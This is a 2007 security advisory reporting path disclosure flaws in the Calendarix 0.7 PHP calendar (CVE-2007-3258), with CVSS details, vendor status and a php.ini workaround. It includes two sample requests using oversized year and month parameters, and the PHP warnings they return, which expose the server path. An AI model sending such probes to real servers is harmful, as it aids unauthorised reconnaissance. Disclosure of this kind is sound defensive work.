netVigilance Security Advisory #35 Calendarix version 0.7. 20070307 Multiple Path Disclosure Vulnerabilities Description: Calendarix is a powerful and easy to use calendar based on PHP and MySQL. It has been developed with ease of use and quick access to information in mind. It provides the user with the quickest possible navigation and accessing the most commonly used functions in the shortest steps. This vulnerabilities can be exploited only with PHP version < 5.0.0 and MS Windows hosting. External References: Mitre CVE: CVE-2007-3258 NVD NIST: CVE-2007-3258 OSVDB: 35371 Summary: Calendarix is a powerful and easy to use calendar based on PHP and MySQL. Security problems in the product allow attackers to gather the true path of the server-side script. Advisory URL: http://www.netvigilance.com/advisory0035 Release Date: 06/19/2007 Severity: Risk: Low CVSS Metrics Access Vector: Remote Access Complexity: High Authentication: Not-required Confidentiality Impact: Partial Integrity Impact: None Availability Impact: None Impact Bias: Normal CVSS Base Score: 1.86 Target Distribution on Internet: Low Exploitability: Functional Exploit Remediation Level: Workaround Report Confidence: Uncorroborated Vulnerability Impact: Attack Host Impact: Path disclosure. SecureScout Testcase ID: TC 17967 Vulnerable Systems: Calendarix version 0.7. 20070307 Vulnerability Type: Program flaws - The product scripts have flaws which lead to Warnings or even Fatal Errors. Vendor: Vincent Hor (Calendarix Enterprise) Vendor Status: Vincent Hor of Calendarix Enterprise was not interested in coordinating release of Patch and Security Advisory, There is no official solution at this time. Workaround: Disable warning messages: modify in the php.ini file following line: display_errors = Off. Example: Path Disclosure Vulnerability 1: REQUEST: http://[TARGET]/[PRODUCT-DIRECTORY]/calendar.php?year=10000 REPLY: <b>Warning</b>: mktime(): Windows does not support negative values for this function in <b>[DISCLOSED PATH][PRODUCT-DIRECTORY]\calendar.php</b> on line <b>55</b><br /><b>Warning</b>: date(): Windows does not support dates prior to midnight (00:00:00), January 1, 1970 in <b>[DISCLOSED PATH][PRODUCT-DIRECTORY]\calendar.php</b> on line <b>55</b><br /> ... <b>Warning</b>: mktime(): Windows does not support negative values for this function in <b>[DISCLOSED PATH][PRODUCT-DIRECTORY]\calendar.php</b> on line <b>67</b><br /><b>Warning</b>: date(): Windows does not support dates prior to midnight (00:00:00), January 1, 1970 in <b>[DISCLOSED PATH][PRODUCT-DIRECTORY]\calendar.php</b> on line <b>67</b><br /> Path Disclosure Vulnerability 2: REQUEST: http://[TARGET]/[PRODUCT-DIRECTORY]/calendar.php?month=10000 REPLY: <b>Warning</b>: mktime(): Windows does not support negative values for this function in <b>[DISCLOSED PATH][PRODUCT-DIRECTORY]\calendar.php</b> on line <b>55</b><br /><b>Warning</b>: date(): Windows does not support dates prior to midnight (00:00:00), January 1, 1970 in <b>[DISCLOSED PATH][PRODUCT-DIRECTORY]\calendar.php</b> on line <b>55</b><br /> ... <b>Warning</b>: mktime(): Windows does not support negative values for this function in <b>[DISCLOSED PATH][PRODUCT-DIRECTORY]\calendar.php</b> on line <b>67</b><br /><b>Warning</b>: date(): Windows does not support dates prior to midnight (00:00:00), January 1, 1970 in <b>[DISCLOSED PATH][PRODUCT-DIRECTORY]\calendar.php</b> on line <b>67</b><br /> Credits: Jesper Jurcenoks Co-founder netVigilance, Inc www.netvigilance.com ?? ?? ?? ??
